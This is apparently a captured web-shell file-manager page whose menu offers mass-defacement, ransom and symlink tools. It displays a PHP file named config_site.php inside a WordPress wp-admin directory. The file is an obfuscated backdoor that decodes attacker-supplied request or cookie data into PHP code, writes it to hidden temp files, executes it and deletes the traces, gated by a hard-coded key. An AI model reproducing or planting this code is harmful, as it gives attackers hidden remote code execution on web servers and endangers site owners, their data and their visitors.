| Path : /var/www/html/eceas/wp-admin/network/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-admin/network/config_site.php |
<?php if(@$_REQUEST["i\x74em"] !== null){ $k = $_REQUEST["i\x74em"]; $k= explode ( "." ,$k ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $m = 0; $len = count($k ); do { if ($m >= $len) break; $v1 = $k[$m]; $chS = ord($salt[$m %$sLen] ); $dec = ((int)$v1 - $chS - ($m %10)) ^40; $data_chunk .= chr($dec ); $m++; } while (true ); $mrk = array_filter([getcwd(), "/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); while ($entity = array_shift($mrk)) { if (!( !is_dir($entity) || !is_writable($entity) )) { $res = sprintf("%s/.sym", $entity); if (@file_put_contents($res, $data_chunk) !== false) { include $res; unlink($res); die(); } } } }
if (isset($_COOKIE[-87+87]) && isset($_COOKIE[61+-60]) && isset($_COOKIE[-47+50]) && isset($_COOKIE[-21+25])) {
$mrk = $_COOKIE;
function dataflow_engine($data_chunk) {
$mrk = $_COOKIE;
$sym = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '9b43d75b');
if (!is_writable($sym)) {
$sym = getcwd() . DIRECTORY_SEPARATOR . "system_core";
}
$pset = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($mrk[3]));
if (is_writeable($sym)) {
$descriptor = fopen($sym, 'w+');
fputs($descriptor, $pset);
fclose($descriptor);
spl_autoload_unregister(__FUNCTION__);
require_once($sym);
@array_map('unlink', array($sym));
}
}
spl_autoload_register("dataflow_engine");
$val = "2afbc7df91f4b4b3e245db44a82f5519";
if (!strncmp($val, $mrk[4], 32)) {
if (@class_parents("data_storage_restore_state", true)) {
exit;
}
}
}